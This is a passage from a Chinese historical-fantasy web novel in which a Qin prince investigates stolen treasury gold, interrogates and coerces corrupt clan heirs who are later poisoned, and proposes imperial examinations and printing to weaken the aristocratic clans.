赢子夜嘴角微不可察地勾了勾,似笑非笑。
尉林紧随其后,面露痛色,朗声道:
“萧何乃六公子亲擢之人,如今竟敢狼子野心,私吞府库金银……”
“六公子!您难道就毫无过失吗?!”
“臣附议!”
“臣请陛下彻查!”
“臣请立即收押萧何问罪!”
“此等败类,若不速斩,恐惹天下非议!”
“此事事关国库钱粮,岂容轻纵?!”
一时间,朝堂如潮,声浪震天!
数名氏族大员你一言我一语,交相呼应,斥责愤慨,声色俱厉,仿佛萧何已是罪证确凿、必诛之人。
更有年轻官员拍案怒斥,面红耳赤。
“臣虽卑微,亦愿以首级担保,萧何之罪,当诛!”
“陛下,若此人不除,百官将何以为法?!”
剑拔**张之下,朝堂气氛已几近沸腾!
始皇帝静默不语,指尖轻叩龙案,目光却穿过冕旒,落在赢子夜身上。
赢子夜缓步出列,声音清冷如霜。
“父皇,儿臣**,彻查此案。”
李桓冷笑。
“六公子,萧何可是您的人,您查?合适吗?”
赢子夜看都未看他一眼,径直向始皇帝拱手。
“儿臣愿立军令状,十日之内,必查清此案。若萧何当真贪墨……”
他顿了顿,声音陡然转寒。
“儿臣亲手斩他头颅,献于殿前!!!”
此言一出,满朝哗然!
始皇帝终于开口,声音里带着一丝难以察觉的玩味。
“准。”
李桓等人面色微变,显然没想到赢子夜竟如此果决。
赢子夜转身,目光如刀,扫过一众氏族。
“不过……”
他轻抚腰间剑柄。
“若让本公子查出有人栽赃陷害……”
剑鞘与玉带轻撞,发出一声脆响!
余音未散,殿外,乌云压顶,风雨欲来!!!
十八公子府。
密室。
烛火摇曳,映照出少年公子阴鸷的面容。
胡亥斜倚在软榻上,指尖把玩着一枚青铜蜘蛛,嘴角噙着森冷的笑意。
“六哥要去陇西了?”
他轻声问道,声音甜腻如蜜,却让人脊背发寒。
赵高躬身立于阴影处,苍白的面容在烛光下宛如鬼魅:
“回公子,六殿下已向陛下**,十日内彻查
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萧何一案。”
“呵……”
胡亥突然低笑,手中的蜘蛛“咔”地一声被捏碎。
“我那六哥,还真是重情重义啊。”
他抬眸,眼底闪过一丝狠毒:
“他就这么想救那个萧何?”
赵高会意,嘴角扯出一抹阴冷的弧度:
“老奴这就安排人手,若六公子查出什么不该查的……”
“杀。”
胡亥轻飘飘地吐出一个字,仿佛在谈论今日的天气。
赵高袖中滑出一枚血色令牌,令牌上刻着狰狞的蜘蛛纹路:
“罗网的天字**已潜伏陇西,只待公子一声令下!”
胡亥满意地眯起眼,像只餍足的猫:
“记住,要干净利落,别留下任何痕迹。”
他站起身,踱步至窗前,望着远处阴沉的天空。
“我可不想让六哥在陇西……玩得太久。”
赵高深深一揖:
“老奴明白。”
胡亥忽然转身,甜腻的笑容里透出几分癫狂:
“对了,留意那些给我们搜集情报的下线。”
他指尖轻点桌案,语气平静得可怕:
“事一旦败露……一个都不能留。”
赵高袖中滑出一方密匣,内藏数枚朱砂封口的小符囊:“若有风声走漏,老奴保他们闭嘴。”
胡亥满意地眯起眼,像只餍足的猫。
窗外,一道闪电劈落,照亮胡亥病态苍白的脸。
风雨欲来,刀光未显,但血已注定。
……
数日后。
陇西官道。
暮色苍茫。
一匹黑骏马踏着夕阳余晖,缓缓驶入临洮城门。
赢子夜玄色大氅随风轻扬,腰间天子剑在暮色中泛着冷光。
几名戍卫正欲上前盘问,却见那骑马之人披玄色大氅,腰悬天子剑,座下骏马铁蹄踏鸣,马鼻喷白雾如龙吟,身后数骑黑衣随从列阵如影!!!
一股森冷肃杀的威压扑面而来,仿佛刀锋在夜风中穿喉。
为首校尉面色骤变,目光落在那柄天子剑上,霎时浑身一震。
“——快,跪迎贵人!”他猛地喝道。
兵士们虽不识来者面容,却在那一瞬寒气透骨,膝软如泥,齐齐伏地,额贴尘土,不敢抬头。
赢子夜并未停留。
马蹄声清脆地踏过青石板路,宛如天威踏城,径直朝府衙方向而去。
而街巷阴影中,数道黑影无声掠过!
那是暗河精锐在清道。
……
第78章 大秦的蛀虫,该清一清了!
府衙。
内堂。
烛火幽暗,赢子夜端坐案前,指尖轻叩桌面。
一名暗河死士单膝跪地,声音压得极低:“萧大人被关在地牢最深处,由十二名狱卒轮值,每两个时辰换一班。”
“可有异常?”
赢子夜眸光微冷。
死士迟疑一瞬:“第三日夜里,曾有一名医官入内诊治,说是萧大人突发急症。”
“医官?”
赢子夜指尖一顿。
“属下查过,确是郡守府的官医。”
死士递上一枚银针,“但萧大人并未服药,这枚银针…是从药渣中发现的。”
赢子夜接过银针,在烛光下细细端详。
针尖泛着诡异的蓝光,显然是淬了毒。
他眼底寒意骤现:“那名医官现在何处?”
“暴毙家中。”死士低头,“据说是心悸**。”
烛芯突然爆出一朵灯花,映得赢子夜半边脸隐在阴影中:“查。所有接触过萧何的人,每一刻行踪都要厘清!”
他屈指轻弹银针。
针尖钉入案几寸余。
“尤其是…**的口供。”
死士领命退下。
赢子夜起身走至窗前,望着陇西阴沉的夜空。
远处山峦如蛰伏的巨兽,而这座城池里,显然藏着比野兽更危险的东西!!
……
翌日。
地牢。
潮湿的霉气与血腥味交织,扑面而来。
赢子夜踏入牢房时,萧何正倚墙而坐,衣衫褴褛,神色却未显颓唐。
见他到来,萧何挣扎欲起,被一只修长有力的手按住肩头。
“别动。”
赢子夜语气平淡,指尖却稳稳按上他腕脉。
脉象浮弱紊乱,典型的慢性**。
萧何嘴角苦涩:“公子,臣未能守好金库,反累及自身……”
“臣,有负于公子的信任!!!”
“别说这些。”
赢子夜打断他,从怀中取出一枚玉瓶。
“服下,可缓毒性。”
他目光环扫牢房,最终停在墙角一片水渍斑斑的地面,神色微凝。
“你昏厥前,可曾察觉异状?”
萧何蹙眉思索:“有……隐约闻到一丝硝石味,极淡。”
赢子夜眸光一凛,蹲身指尖拂过潮湿苔石,凑近轻嗅。
霉味之下,果然藏着一缕辛辣气息。
“果然如此。”
他站起身,衣袂微扬:“不是鬼盗金,而是有人用王水溶金!”
萧何瞳孔一震。
王水,方士炼丹之物,能腐金石,配方极秘。
“能接触王水的,不是方士,就是世代掌管钦天术数的家族。”
赢子夜转身看向甬道深处,眉间寒意笼罩:“陇西孟氏…你可记得,他们祖上是否任过钦天监?”
萧何一怔,旋即抬头:“不止孟氏,还有赵氏、卫氏……”
“他们近年名下突然出现大量田契与地契,来路不明,我本打算细查……”
“你查得太准,所以才出事。”
赢子夜低声道,目光已转为凌厉。
“从孟、卫两家查起,尤其盯紧他们与西北炼丹之人的来往。”
他转身大步离开,声冷如刃:“备马,去孟府。另外——”
他回首望向牢中的萧何,语气骤冷:“从今起,你的饭食只吃暗河送来的。”
萧何先是一怔,随即猛然明白其中深意。
这是公子早已料到有人会动手**灭口!!!
他眼眶微热,扑通跪地,双手抱拳,重重叩首,声音带着哽咽:
“臣……谢公子不弃!!!”
那一礼,鞠得极深,几乎贴地。
赢子夜未作声,衣袂翻卷间,已大步离开地牢。
……
暴雨将至。
赢子夜走出牢房,翻身上马,一道闪电划破长空,照亮他冷峻如刀的面庞。
暗巷深处,数名黑衣人悄然随行。
那是暗河最锋锐的“夜枭”小队。
而在更高处的屋檐上,少司命立于雨中,紫瞳冷静地注视着他的背影。
她指尖托着一枚金色晶体,晶体缓缓溶解,滴落的液体将瓦片腐蚀得滋滋作响。
天雷滚滚,杀机已起。
……
临时行辕。
暴雨初歇,屋檐滴水声如更漏。
赢子夜指尖的酒盏已凉透,水面倒映着案头堆积如山的竹简。
公孙墨玄垂手立在阴影处,青铜面具下的呼吸声几不可闻。
“查清楚了?”赢子夜突然开口。
“是。”
公孙墨玄呈上两卷密报,“孟氏少主孟琰、卫氏少主卫桀,近三月行踪尽在此处。”
赢子夜展开第一卷密报,烛火将竹简照得通透。
上面详细记载着两位世家子弟每日动向:
孟琰常出入城西炼丹坊,卫桀则频繁拜访郡守府仓曹。
虽无人目睹他们搬运金锭,但——
“腊月十八,孟琰运三车‘丹砂’入府。”
赢子夜指尖点在某行小字上:
“五日后,府库金砖开始出现蚀痕。”
公孙墨玄又递上第二卷:“此二人罪行,远不止贪墨。”
竹简展开的刹那,赢子夜瞳孔骤缩!!!
上面记录着孟琰强占民女十七人,其中三人投井自尽。
卫桀为扩建别院焚毁整个村落,老幼冻毙者四十六口。
最触目惊心的是末页——
“军械库**机三百具,实存二百,余者以木胎包铁皮充数!”
“咔嚓”一声,酒盏在赢子夜掌中粉碎!!!
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瓷片割破掌心,鲜血顺着腕骨滴在“木胎**机”四字上,将墨迹晕成黑红。
“好一个世卿世禄。”
赢子夜声音轻得可怕,“备马。”
公孙墨玄突然跪地:“公子三思!此刻抓捕恐打草惊蛇。”
“属下还查到一些……”
“正因如此才要快。”
赢子夜扯过帛巾裹住流血的手掌,“你以为父皇为何派我来?”
他冷笑一声,“这些蛀虫,该清一清了。”
……
子时。
孟府别院。
丝竹声隔着水榭传来,孟琰正搂着美姬饮酒。
突然“砰”的一声巨响,精雕的楠木门板整个飞入厅中!
“谁?!”
孟琰的怒喝戛然而止。
赢子夜踏着碎木走进来,玄色大氅上还沾着夜露。
他身后,十名暗河死士手持劲**,箭尖寒光映得满堂宾客面如死灰!!!
“六、六公子?”
孟琰强作镇定地推开美姬,“您、您什么时候来的?不知深夜造访……”
“腊月十八的丹砂。”
赢子夜突然开口,“滋味如何?”
孟琰脸色瞬间惨白。
他腰间玉佩突然炸裂!!
是赢子夜甩出的瓷片击碎了它。
“全部拿下。”
赢子夜转身时,大氅扫翻了一桌珍馐,“尤其是仓曹属官,我要活的。”
……
丑时。
军械库。
卫桀被拖到库房时,靴子都丢了一只。
当他看见跪在地上的仓曹和那堆“木胎**机”,顿时瘫软如泥。
“说说吧。”
赢子夜用染血的帛巾擦拭天子剑,“这些精铁去了何处?”
仓曹突然暴起,袖中寒光直刺赢子夜咽喉!!!
电光火石间,一道紫影闪过,少司命的叶片刃已割断仓曹手腕。
仓曹见状不妙,猛地一咬后槽牙!
却没能咬碎!
因为公孙墨玄早有准备,挥袖卷出一道劲风,将他头颈封住,令其口不能合,牙关错位。
剧痛之下发不出声,只能痛苦挣扎。
“毒牙取下了。”
公孙墨玄淡声道,“活的。”
赢子夜微一颔首,收剑入鞘,眼神冰冷如霜。
“很好。”
他俯身,盯着仓曹那双因剧痛而充血的眼睛,轻声道:“不说没关系,我有的是时间。”
甩去剑上血珠:
“拖下去,别让他**。”
当目光转向卫桀时,这位平日嚣张的世家子竟吓得失禁。
骚臭味中,赢子夜俯身轻声道:“知道为什么先抓你们吗?”
他剑鞘拍打着卫桀肿胀的脸,“因为你们父亲在咸阳,正等着看萧何的人头。”
第79章 公子有令,斩草除根!
半柱香后。
大牢。
地底刑室。
潮湿的石壁上,火把摇曳,将人影拉长成扭曲的鬼魅。
赢子夜坐在一张斑驳的木案后,指尖轻叩桌面,节奏缓慢而压抑。
对面铁栅内,孟琰被铁链锁住双手,原本华贵的锦袍早已破烂不堪,脸上却仍带着世家子弟特有的倨傲。
“六公子,你无权审我!”
孟琰嗓音嘶哑,却仍强撑气势。
“我孟氏乃陇西望族,祖上随先王征战有功!你今日所为,我父必会——”
“啪!”
赢子夜突然拍案,声音不重,却让孟琰浑身一颤。
“谋反。”
赢子夜缓缓吐出两个字,目光如刀。
“孟琰,你可知道这两个字的分量?”
孟琰脸色骤变。
“胡说!我孟氏世代忠良,怎会谋反?!”
赢子夜冷笑,从案上拿起一卷竹简,慢条斯理地展开。
“腊月十八,你运三车‘丹砂’入府,五日后,府库金锭蚀毁。”
“同月,军械库三百具**机不翼而飞,取而代之的是木胎包铁的赝品!”
他抬眸,眼底寒意刺骨。
“这些精铁**机,去了哪里?!”
孟琰额头渗出冷汗,却仍咬牙。
“我不知道你在说什么!!!”
“不知道?”
赢子夜轻笑,忽然从袖中取出一物,丢在孟琰脚下。
那是一枚染血的铜铸腰牌,其上刻着“内府库”三字,边角隐隐沾有锈蚀的铁渣。
孟琰瞳孔骤缩,脸色瞬间惨白如纸。
“看来你认得。”
赢子夜缓缓站起身,玄色**袍在火光下如一片阴影般笼罩而来。
他抬手,摊开一副竹简残卷,卷上刀笔凌乱,却清楚记着一笔“铁精二百五十石,兑黄金三十两”的交易。
“仓曹记录,从你手下失踪的精铁,去哪了?”
“你上月私兑的金子,去了哪?”
孟琰嘴唇颤抖,冷汗涔涔,却依旧咬紧牙关,闭口不言。
赢子夜不恼,只是轻轻一笑,语气森冷:
“嘴挺硬。”
他也不急,转身走向另一间牢房。
卫桀被铁链吊在墙上,双脚离地,原本的嚣张早已烟消云散,只剩一张惊惧扭曲的脸。
见赢子夜进来,他顿时惊叫出声。
“六公子!六公子饶命!”
“我真的什么都不知道!那些军械…那些军械是仓曹经手的!”
他声音颤抖,眼泪鼻涕混作一团,仿佛已濒临崩溃边缘,却始终不吐一句实情。
赢子夜静静看着他,忽然笑了。
“卫桀。”
“你比那个孟琰聪明,可惜,还是不够。”
他缓步走近,声音低得如同耳语。
“告诉我,精铁和金子运去了哪里,我可以让你死得体面些。”
卫桀浑身发抖,却仍咬牙摇头。
“我…我真的不知道…真的不知道……”
赢子夜眸光骤寒,盯着他苍白的脸。
忽而轻笑。
“很好。”
“你们真是一个比一个嘴硬。”
“也罢。”
“本公子,有的是时间陪你们慢慢玩。”
他转身走出牢房,声音冰冷。
“传令暗河,彻查陇西各地废矿!”
“军械、精铁、融化的金子——这些东西,绝不能落在他们手里!”
公孙墨玄领命而去。
赢子夜站在牢狱长廊尽头,望着远处渐亮的天色,眸中杀意翻涌。
谋反的网已经织好。
而现在,该收网了。
……
阴暗潮湿的牢房里。
铁链穿臂而过,钉入石柱。
仓曹低垂着头,身形僵直,脸上已分不清是汗水还是血水。
他闭着眼,一言不发,像具沉默的木偶。
“李仓曹。”
赢子夜缓步走近,靴底踏在渗水的石板上,发出沉闷的回响。
“知道为什么,最后才审你吗?”
仓曹依旧低头不语,仿佛连痛觉也已麻木。
赢子夜淡淡道:“你身上的毒钉,本公子早命人取出。”
“你想靠咬舌或毒发身亡,一步都走不通。”
仓曹终于睁开一只眼,眼中毫无惧意,反倒浮现出一丝讥诮。
“下官……无话可说。”
“无话可说?”
赢子夜轻笑,取出一卷竹简,“那你看,这是你‘无话可说’的证据。”
他缓缓念道:“去年三月,你在城南置办了一处三进宅院。”
“五月,购入两个南越歌姬。”
“八月,你弟弟入伍未三月,便提为什长,有本事啊。”
仓曹冷笑:“我父兄皆为军职,有恩荫之规,怎就是罪?”
“那这呢?”
赢子夜翻出另一卷文书,语气冷了几分!
“军械库出入登记,从去年至今,少了三百具**机,五十车精铁,仓储记录上却无缺口。”
仓曹喉头动了动,依旧沉默。
“你倒是死得起。”
赢子夜看着他,眼神锋利,“可你知道孟琰他们怎么招的?他们没招。”
仓曹愣了愣,眼神微微变色。
“你们都够‘忠诚’。”
赢子夜目光一寸寸扫过他,“不过他们可没你走运,被发现时,舌头已经咬碎,毒血翻涌。”
仓曹眼中终于浮出一丝剧烈波动。
赢子夜靠近一步,低声道:“可你不一样。”
“你儿子还活着,在咸阳郊外安家。”
“他娘是你从南市赎回的,可还记得?”
仓曹猛地抬头,眼神瞬间变得骇然。
“想想你家那口井,是不是该重新修一修了?”
“小孩子若夜里梦游,不小心跌下去,可就可惜了。”
“你…你卑鄙……”
“你忠义,”赢子夜打断他,“可惜你家人不是。”
仓曹咬牙,脸色痛苦挣扎。
“我不信你真敢……”
他话未说完,赢子夜已命人取来一卷手令。
“这是我送你妻儿迁出护卫所的文书。”
他扔至地上,“想救他们,就从现在开始说——”
“是谁设的转运点?化金的药水是谁配置?你们暗中联络的,还有谁?”
仓曹僵坐良久,牙关咬得咯咯作响。
“……我说。”
他的声音低哑,眼角泛红,像一头终于屈服的狼。
“孟琰逼我动了库账…他说只要调出军械与金料,就保我家人平安……”
“金子那边,是卫桀设的据点……”
“他们手里有假章,能走皇库。”
赢子夜收起文书,语气淡漠:
“带下去。”
走出牢房时,他回首看了眼那张扭曲的脸,语气幽冷如冰:
“真忠心的人,不会用家人换命。”
风起于狱门,寒意袭人。
至此,死局已开,败局已定!
……
不知过了多久。
赢子夜站在孟琰面前,指尖轻轻敲击着铁栅栏,发出令人心颤的声响。
孟琰被锁在刑架上,额头上的冷汗不断滑落,却仍强撑着最后一丝倨傲。
“卫桀已经招了。”
赢子夜忽然开口,声音平静得可怕。
“他说…是你用王水融了府库的金子。”
孟琰猛地抬头,眼中闪过一丝慌乱!!
“不可能
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!”
“他怎么会……”
“怎么不会?”
赢子夜冷笑,从袖中取出一个瓷瓶,轻轻摇晃。
“就像这样…把王水倒在金锭上,看着它们在雨中一点点融化。”
他俯身靠近,声音压得极低。
“他说你用的量很精准,刚好让金子看起来像是凭空消失。”
孟琰的呼吸明显急促起来,铁链随着他的颤抖哗啦作响。
赢子夜看在眼里,继续施压。
“他还说…那些融化的金水,都运去了城西的炼丹坊。”
“胡说!”
孟琰突然暴起,铁链绷得笔直。
“明明是运去——”
他猛地闭嘴,脸色瞬间惨白。
赢子夜嘴角微扬。
“运去哪里?”
他慢条斯理地展开一份空白供词。
“说清楚,本公子或许能给你个痛快。”
孟琰死死咬着嘴唇,鲜血顺着下巴滴落。
良久,他终于崩溃般瘫软下来。
“是…是我们挪用了库金,但那些钱都花在…花在赌坊和歌姬身上了……”
赢子夜眸光一冷!!
这样拙劣的谎言,连三岁孩童都骗不过。
他猛地掐住孟琰的下巴。
“你以为本公子会信?三百斤黄金,足够买下整条女闾街!”
孟琰眼神闪烁,却再也不肯多说一个字。
赢子夜松开手,转身离开牢房。
走出阴暗的甬道时,他的脸色阴沉如水。
这些世家子弟宁死也不肯吐露的金子去向,背后必定藏着更大的阴谋!
但现在,他需要另寻突破口。
“去查。”
他对暗处的公孙墨玄低声道。
“掘地三尺也要找出线索。”
……
夜。
孟琰和卫桀蜷缩在角落,铁链在寂静中发出细微的碰撞声。
突然,油灯的火苗诡异地摇曳了一下。
“谁?!”
孟琰猛地抬头,瞳孔骤缩。
一道黑影无声地立在栅栏外,月光从狭小的气窗洒落,照出来人腰间悬挂的蜘蛛玉坠。
“是我送你们上路,”黑影的声音沙哑如磨砂,“还是你们自己上路?”
卫桀浑身发抖,铁链哗啦作响。
“我们……我们只承认钱是我们花的!其他什么都没说!”
“呵……”
黑影冷笑。
“六公子已经查到一些线索了。”
“等你们被押往咸阳,还能守得住秘密?”
孟琰脸色惨白,突然扑到栅栏前。
“如果我们自尽……你答应过的事一定要做到!他们真的什么都不知道!”
黑影沉默片刻,从栅栏缝隙塞进一个小瓷瓶。
“放心。”
卫桀颤抖着接过瓷瓶,突然抓住孟琰的手。
“不能喝!他们分明是要——”
“闭嘴!”
孟琰厉声打断,眼中闪过决绝。
“你以为我们还有选择?”
他猛地拔开瓶塞,仰头灌下大半,又将剩下的塞给卫桀。
“喝!至少…能留个全尸……”
卫桀的眼泪混着毒酒咽下。
不消片刻,两人便蜷缩着倒地,嘴角溢出黑血!
黑影静静看着他们断气,突然抬手一挥!
暗处立刻闪出几名黑衣人!
“公子有令,”黑影的声音冰冷刺骨,“斩草要除根。”
黑衣人领命而去。
月光下,黑影最后看了眼牢房内的尸体,低声自语。
“要怪……就怪你们知道的太多。”
远处传来更夫的梆子声,掩盖了牢房中最后的呜咽。
而在孟府和卫府,此刻也正被血色,悄然浸染……
第80章 要么不做,要么撅了氏族的根!
与此同时。
牢房内,赢子夜正思索着下一步的审讯策略,指节有节奏地敲击着案几。
突然,急促的脚步声打破了沉寂。
“殿下!”
狱卒慌慌张**进来。
“孟琰和卫桀……他们自尽了!”
赢子夜猛地站起身,案几被掀翻在地。
他大步流星走向牢房,玄色衣袍在昏暗的甬道中猎猎作响。
只见两具尸体静静躺在草席上,嘴角残留着黑血。
赢子夜蹲下身,指尖检查着他们的口腔和指甲。
“确实是自尽。”
他冷声道。
“没有挣扎痕迹。”
话音未落,又一名侍卫匆忙赶来。
“报!孟府和卫府同时起火,全府上下……无一幸免!”
赢子夜瞳孔骤然收缩!
他缓缓起身,指节捏得发白。
“好一个斩草除根。”
他声音低沉得可怕。
“能在本公子眼皮底下做到这种程度……”
公孙墨玄低声道。
“陇西氏族应该没这个胆子。”
“当然不是他们。”
赢子夜冷笑。
“是另有其人。”
他弯腰从孟琰袖中摸出一块金色碎屑,在烛光下泛着诡异的光芒。
“传令暗河。”
赢子夜将碎屑攥在掌心。
“查清楚这半个月所有进出牢狱之人。特别是……”
他眼中寒光闪烁。
“那些不该出现的人。”
……
……
数日之间,朝堂风声鹤唳!
自赢子夜奉命彻查陇西失金一案以来,孟、卫两族在朝中奔走呼号,密奏如雪片飞入章台宫。
言辞或哀或怒,无不控诉六公子擅权枉法、逼人自尽!
朝中众臣本就对赢子夜久负戒心,此番风浪一起,满朝哗然!
有人借题发挥,有人趋炎附势,更有人暗自打量,静观其变……
而赢子夜,却一直未曾回朝。
直到今日。
午钟初歇,麒麟殿前,百官列班。
赢子夜披玄袍、佩玉印,于诸目睽睽之下缓步而入。
神色沉稳如冰封寒潭,身后随侍数名内使,捧着封缄严密的奏折与竹箱。
“六公子终于回来了……”
“听说他前几日将孟府与卫府挖了个底朝天,如今竟还敢回来,怕不是死鸭子嘴硬。”
“也许是要强行翻案,转移视线。”
低语私议如蝇声嗡嗡,朝臣面色各异,却无人敢先开口。
殿上高坐的始皇帝不言不动,冕旒垂落,神情深不可测。
赢子夜走至殿中,屈膝叩首,拱手扬声。
“儿臣不辱使命,已查明陇西府库失金真相。”
语气虽平,却压得朝堂一静!
“孟琰、卫桀,合谋盗金,贿通仓曹,倒卖军械,其罪确凿,证据俱在!”
说罢,他一抬手,内使即将竹箱缓缓开启,层层绢帛与竹简井然列于其中!!
金银出入、田契房契、贩械名册、军械伪造物……
各色账目,一应俱全。
瞬时,殿中如沉水覆顶!!
赢子夜再挺身,目光平视高阶之上,语声清晰而响亮:
“儿臣现已将所有证据整理成册,谨呈御览。”
话音未落,陇西孟氏族长孟邺猛地冲出,老泪纵横。
“陛下!老臣之子绝不可能做出此等大逆不道之事!六公子分明是屈打成招,**灭口!”
卫氏族长卫铮更是直接跪地叩首,额头砸得砰砰作响。
“陛下明鉴!我儿卫桀向来循规蹈矩,怎会盗卖军械?”
“六公子查案不过数日,便逼得我儿自尽,更是一把火烧了我卫氏满门!此乃灭门之祸啊!!!”
“我卫氏一族,冤呐!!!”
朝堂之上,顿时哗然!
“六公子手段未免太过狠辣!”
“查案查得满门死绝,这算什么?”
“怕不是借机铲除异己!”
赢子夜冷眼扫过众人,嘴角微扬。
“诸位大人倒是义愤填膺,可曾想过——”
“若孟琰、卫桀当真无辜,为何要自尽?”
“若他们问心无愧,为何府库账目对不上?军械又去了何处?”
孟邺厉声反驳。
“我儿分明是受不住酷刑,才含冤自尽!”
“酷刑?”
赢子夜轻笑,从袖中取出一份验尸文书。
“二人分明是毒发身亡,还是自服剧毒。”
“至于府上大火……”
他眸光一冷。
“本公子倒想问问,为何偏偏在二人死后当夜,两府同时起火?”
“若真是本公子要灭口,何必多此一举?!”
“够了!”
一声怒喝如雷霆炸响,震得满朝文武浑身一颤。
始皇帝霍然起身,玄色龙袍翻涌如乌云压顶。
冕旒下的双眸寒光凛冽,扫过殿中众人。
“此事暂停搁置,退朝!”
赢子夜垂首,嘴角却勾起一抹冷笑。
他知道,父皇这是给他留了余地。
有些事,不必在明面上说透。
而孟邺和卫铮的脸色,却已难看到了极点。
百官退散后。
赢子夜正欲循阶而下,忽闻殿后帘影一动,有内侍快步而来,低声伏耳:
“公子留步。陛下宣您至章台宫,单独觐见。”
赢子夜微一点
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头,未言一语,转身随之而去。
彼时天光已暗,雨丝如织。
两侧禁卫肃立不动,唯中路一线,直通章台宫门。
帝宫深巷,无一人声,唯余靴底踏水之声,沉稳有序,似踏进某种命定之局。
沿途火盏燃得极低,风吹火摇,光影时明时暗。
赢子夜走得极缓。
宫门缓启,烛影幽昏。
他抬眸望向那片黑影深处,那位高踞九五的帝王,正背对着他,负手而立,冕旒垂落,似睡似醒。
赢子夜长揖为礼,不发一言。
正是此刻,始皇帝开口。
“说吧。还有何发现未在朝堂上言明?”
赢子夜抬眸,声音平稳:“儿臣怀疑,被盗军械与库金,恐被用于豢养私兵。”
殿内温度骤降!!
始皇帝缓缓转身,冕旒下的双眸如利剑出鞘:“还有吗?”
赢子夜从怀中取出一块布帛,“儿臣还在孟、卫两府附近,发现了这个。”
始皇帝接过布帛,上面沾着些许暗红碎屑。
指尖轻捻,一股铁锈味弥漫开来——
是血与金混合的气息!!
“单凭你今日所奏,寡人便可治他们个御下不严之罪。”
始皇帝突然话锋一转,“可知为何不了了之?”
赢子夜嘴角微扬:“父皇的意思是,要么不做,要么……”
他抬眸直视父皇,“掘了氏族的根!”
“哈哈哈!”
始皇帝突然大笑,笑声震得梁上灰尘簌簌落下,“不愧是寡人的儿子。”
笑声戛然而止,他俯身逼近:“说说看,你待如何掘根?”
赢子夜从袖中取出一卷竹简,缓缓展开:“儿臣有一法,可收百家之心,更可断氏族命脉!”
“那就是…科举制!”
“科举?”始皇帝眯起眼。
“不论出身,唯才是举!”
赢子夜指尖轻点简上条文,“设院考试,分级取士。”
“让寒门学子与世家子弟同场竞技。”
他冷笑一声,“氏族承荫数百年,实则早已腐朽不堪,此法一行,必能……”
“必能让他们自乱阵脚!”
始皇帝突然接话,眼中精光暴涨,“好!好一个阳谋!”
他大手一挥,“寡人准了,你且回去筹备细则。”
赢子夜正要告退,忽听始皇帝又道:“记住,要快。”
定秦剑不知何时已出鞘三寸。
寒光,映照出帝王森冷的面容。
“在那些蛀虫察觉之前……”
“儿臣明白。”
赢子夜躬身退下,玄色衣袍扫过殿门时,与父皇的帝袍如出一辙的暗纹在烛光下若隐若现。
第81章 天道无亲,法在公门!!!
夜色将阑。
六公子府邸灯火未息。
赢子夜自宫中归来,面色冷静,脚步却比往常更快些。
他披着斗篷,一路穿过影壁、长廊,直入内院。
“去,把丞相请来。”
他吩咐道。
不多时,李斯匆匆赶至,步履急促,尚未来得及施礼,便被赢子夜一眼看住。
“丞相不必多礼,坐。”
赢子夜将手中披风一掀,掷于架上,负手踱步数步后,才缓声道:
“今日朝上之事,想必您已知晓。”
李斯点头,神色凝重。
“仓曹之供,确证孟氏、卫氏勾连禁铸、金水私炼,罪无可赦。”
赢子夜轻声道:
“但这,只是开始。”
他转身,目光落在李斯身上,声音渐低。
“丞相,我还要废除氏族垄断的法学资格!!”
李斯怔住!
“我要在各郡设官学,由朝廷拨银、配书、授师,寒门子弟亦能学习律法入仕。”
“自此之后,无论门第高低,只凭考试入流。”
李斯瞳孔收缩!!
“再者,我要设《律问》科目,每三年考选,考题由吏部、廷尉与客卿轮出,暗中监校,防止**。”
“谁考得上,谁便能入阁为吏、为官、为法司。”
他死死盯着赢子夜递来的竹简,手指微微发抖。
“公、公子……”
李斯终于开口,声音有些发颤。
“此法若行,天下氏族必与公子不死不休啊!”
赢子夜踱至榻前,斜倚在窗边。
“所以找您来。”
“论律法细则,满朝文武无人能出丞相之右。”
李斯擦了擦额角的汗。
“可天下读书人十之**出自氏族、世家,寒门学子……”
“所以才要考试。”
赢子夜突然打断,从案几下抽出一卷泛黄的竹简。
“看看这个。”
李斯展开竹简,上面密密麻麻记录着各郡县私塾学堂的情况。
他越看越是心惊——
原来六公子早已将天下学子的底细摸得一清二楚!!!
这…这是什么时候的事?
六公子在暗中还做了那么多事吗?!
“即便如此,典籍亦是难求……”
李斯仍有些犹豫。
赢子夜忽然笑了。
“丞相且看。”
他击掌三下,两名侍从抬着一个木箱进来。
箱盖掀开,里面整齐码放着成摞的…某种轻薄如蝉翼的物件。
李斯好奇地拿起一片,指尖传来的触感让他瞪大眼睛!!
“这是……”
“后手。”
赢子夜神秘地眨眨眼。
“此事保密,且跟我来。”
他转身走向庭院,对等候多时的工匠们吩咐道:
“按我之前说的,开始准备吧。”
庭院角落,几名工匠正将树皮、麻布等物浸泡在石槽中。
另一侧,几个方方正正的木架排列整齐,上面布满凸起的字符。
李斯跟出来时,正看见赢子夜拿起一个沾满墨汁的奇怪工具,往木架上轻轻一按,再往那轻薄物件上一压!
“《论语·学而》”
李斯失声念出上面瞬间显现的字迹,整个人如遭雷击!!!
“我已叫人测试过,百页不过一日。”
“此物之薄,比麻布耐久!”
“此法之快,远胜缮写……”
他顿了顿,眼中多了几分凌厉。
“此为破局之器,若能量产,典籍可遍天下,法令亦可日传九州!!”
李斯听到此处,已然满面苍白,额角冷汗如雨。
“公、公子……”
他喉间艰难地滚动着,声音低哑得仿佛被掐住了咽喉。
“此举…此举一出,氏族百年积威必崩,书院讲席将为寒门夺,朝堂之上……”
“再无氏族立足之地!!!”
他猛地站起,衣袖撞翻了酒盏,溅出的酒水烫在手背,却浑然不觉。
“您这是…要举法为刃,削尽天下氏族!”
“此非改制,是造……反哪!”
赢子夜负手立于窗前,望着庭中沉沉月影,声音冷静而平稳。
“他们…既以门第为垒,我…便取笔为兵,撼其根基。”
他缓缓转头,目光沉如深井。
“天下寒士千千万万,从来无一人敢妄言‘可与氏族争锋’。”
“我偏要他们知——”
“天道无亲,法在公门!!!”
李斯闻言,肃然起敬!
他突然觉得后背发凉。
望着庭院里忙碌的工匠,再看看手中那片轻薄的…东西,突然意识到。
这位六公子要动的,何止是氏族的根基?!
“下官这就去拟细则。”
李斯深深一揖,声音里带着前所未有的敬畏。
“三日之内,必给公子满意的答复!”
……
夜色沉沉,灯烛如豆。
李斯独坐书房,案前铺满纸页。
他目光炯炯,刀笔走龙蛇,时而疾书,时而长思。
这是大秦开国以来,从未有人敢设想的制度!!!
而他,奉六公子之命,起草天下取士之法,自寒门子弟中择贤才。
郡县、学制、荐举、复试……
诸多细则纷至沓来,需一一厘清。
但他也悄悄在其中加了些自己的东西。
他不是孟子那种“人人皆可为尧舜”的理想主义者,他是李斯。
